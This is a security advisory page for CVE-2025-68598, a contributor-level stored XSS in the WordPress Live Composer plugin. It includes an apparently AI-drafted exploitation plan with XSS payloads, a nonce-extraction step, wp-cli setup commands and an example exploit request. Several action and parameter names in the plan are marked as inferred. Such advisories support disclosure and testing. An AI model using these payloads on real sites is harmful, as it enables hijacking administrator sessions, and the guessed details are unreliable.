CVE-2025-68598

Page Builder: Live Composer <= 2.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Page Builder: Live Composer plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.0.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.6
PublishedDecember 22, 2025
Last updatedJanuary 5, 2026
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-68598 (Live Composer Stored XSS) ## 1. Vulnerability Summary The **Live Composer – Free WordPress Website Builder** plugin (versions <= 2.0.6) is vulnerable to Stored Cross-Site Scripting (XSS). Authenticated users with **Contributor-level** permissions or hig…

Show full research plan

Exploitation Research Plan: CVE-2025-68598 (Live Composer Stored XSS)

1. Vulnerability Summary

The Live Composer – Free WordPress Website Builder plugin (versions <= 2.0.6) is vulnerable to Stored Cross-Site Scripting (XSS). Authenticated users with Contributor-level permissions or higher can inject arbitrary JavaScript into page builder modules. Because Live Composer is a front-end editor that saves layout data via AJAX, the vulnerability exists in the handling of module parameters that are stored in the database (typically as post meta or within the post content) and subsequently rendered without sufficient output escaping.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: dslc_ajax_save (inferred based on plugin naming conventions) or dslc_save_layout.
  • Vulnerable Parameter: dslc_layout (or specific module parameters nested within the layout JSON/serialized string).
  • Authentication: Required (Contributor+).
  • Preconditions: The "Live Composer" editor must be enabled for the post type being edited. Contributors can typically create and edit their own posts.

3. Code Flow (Inferred)

  1. Entry Point: The contributor opens the Live Composer editor on a post they own.
  2. AJAX Request: When clicking "Save", the JavaScript client sends a POST request to admin-ajax.php with the action dslc_ajax_save.
  3. Processing: The PHP handler (likely in includes/ajax.php or a main controller class) receives the dslc_layout data.
  4. Storage: The plugin uses update_post_meta or wp_update_post to store the layout. It fails to use wp_kses or specific sanitization on module attributes (e.g., text, heading, link).
  5. Sink: When any user (including an Administrator) views the page, dslc_output (or a similar rendering function) retrieves the stored data and echoes it directly to the page without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

Live Composer heavily relies on AJAX and enqueues its configuration via wp_localize_script.

  1. Identify Shortcode/Trigger: Live Composer functions on posts where the builder is active.
  2. Create Test Page:
    wp post create --post_type=post --post_title="XSS Test" --post_status=publish --post_author=CONTRIBUTOR_ID --post_content="[dslc_modules_section]"
    
  3. Navigate to Editor: Use browser_navigate to visit the edit URL of the newly created post while logged in as a Contributor. The URL usually looks like: http://localhost:8080/?dslc_active=1&ds_id=POST_ID.
  4. Extract Nonce: Live Composer typically localizes a variable named DSLC_Vars or dslc_options.
    // Execute via browser_eval
    window.DSLC_Vars?.ajax_nonce || window.dslc_options?.nonce
    
  5. Action String: The nonce is likely generated for the action 'dslc-ajax-nonce' or 'dslc_nonce'.

5. Exploitation Strategy

The goal is to send a crafted AJAX request that saves a layout containing a malicious script.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: dslc_ajax_save (inferred)
    • nonce: [EXTRACTED_NONCE]
    • post_id: [POST_ID]
    • dslc_layout: A serialized or JSON string representing a module. For example, a "Text" module:
      [{"module_id":"DSLCText","p_id":1,"settings":{"content":"<script>alert(document.domain)</script>"}}] (Structure inferred).

Example Payload Structure:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=dslc_ajax_save&post_id=123&nonce=a1b2c3d4e5&dslc_layout=[{"module_id":"DSLC_HTML","settings":{"html":"<img src=x onerror=alert(1)>"}}]

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  2. Post Creation:
    wp post create --post_author=$(wp user get attacker --field=ID) --post_title="Vulnerable Page" --post_status=publish --post_type=post
    
  3. Plugin Config: Ensure Live Composer is enabled for the 'post' post type in wp-admin/edit.php?post_type=dslc_templates (if applicable).

7. Expected Results

  • The AJAX request should return a success status (e.g., {"status":"success"} or 1).
  • When navigating to the public URL of the post (e.g., http://localhost:8080/?p=POST_ID), an alert box should trigger.
  • If an Administrator views the post in the back-end or front-end, the script executes in their session.

8. Verification Steps

  1. Check Database for Payload:
    wp post meta get [POST_ID] dslc_layout
    
    Confirm that the raw <script> or onerror attribute is present in the output.
  2. Verify Rendering:
    curl -s "http://localhost:8080/?p=[POST_ID]" | grep -P "alert\(document\.domain\)"
    

9. Alternative Approaches

  • Different Modules: If the DSLC_Text module is sanitized, try DSLC_Button (link parameter), DSLC_Image (alt text), or the DSLC_HTML module (designed for raw HTML, but should still be restricted for Contributors).
  • Post Content Injection: If the layout is stored in post_content instead of meta, use wp post update with the raw shortcode containing the payload:
    [dslc_module module_id="DSLC_Text" content="<script>alert(1)</script>"]
  • Template Injection: Live Composer uses "Templates" (custom post type dslc_templates). A Contributor might be able to inject into a template that is used site-wide.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Live Composer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the dslc_ajax_save AJAX action in versions up to and including 2.0.6. Authenticated attackers with contributor-level access can inject arbitrary JavaScript into page modules, which is saved without sanitization and executed whenever a user views the compromised page.

Exploit Outline

1. Authenticate as a Contributor and navigate to the Live Composer editor on a post owned by the user. 2. Extract the AJAX nonce from the page source, typically found within the DSLC_Vars or dslc_options JavaScript objects. 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'dslc_ajax_save' or 'dslc_save_layout'. 4. Include the 'post_id' and a 'dslc_layout' parameter containing a JSON-encoded module configuration. The payload should inject a script into a module attribute, such as: [{"module_id":"DSLC_HTML","settings":{"html":"<script>alert(document.domain)</script>"}}]. 5. Access the public URL of the post to trigger the stored script execution in the context of the site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.